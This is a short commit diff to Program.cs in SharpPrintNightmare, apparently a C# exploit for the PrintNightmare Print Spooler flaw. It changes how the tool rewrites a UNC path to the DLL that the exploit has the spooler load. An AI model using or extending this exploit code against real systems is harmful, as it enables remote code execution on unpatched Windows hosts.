Update Program.cs

SharpPrintNightmare/SharpPrintNightmare/Program.cs

@@ -70,7 +70,10 @@ namespace SharpPrintNightmare
             dllpath = args[0];
             if (dllpath.Contains("\\\\"))
             {
-                dllpath = dllpath.Replace("\\\\", "\\??\\UNC\\");
+                // only replace the first occurence of \\\\
+                string pattern = "\\\\";
+                int position = dllpath.IndexOf("\\\\");
+                dllpath = dllpath.Remove(position, pattern.Length).Insert(position, "\\??\\UNC\\");
             }
 
             if (args.Length > 2)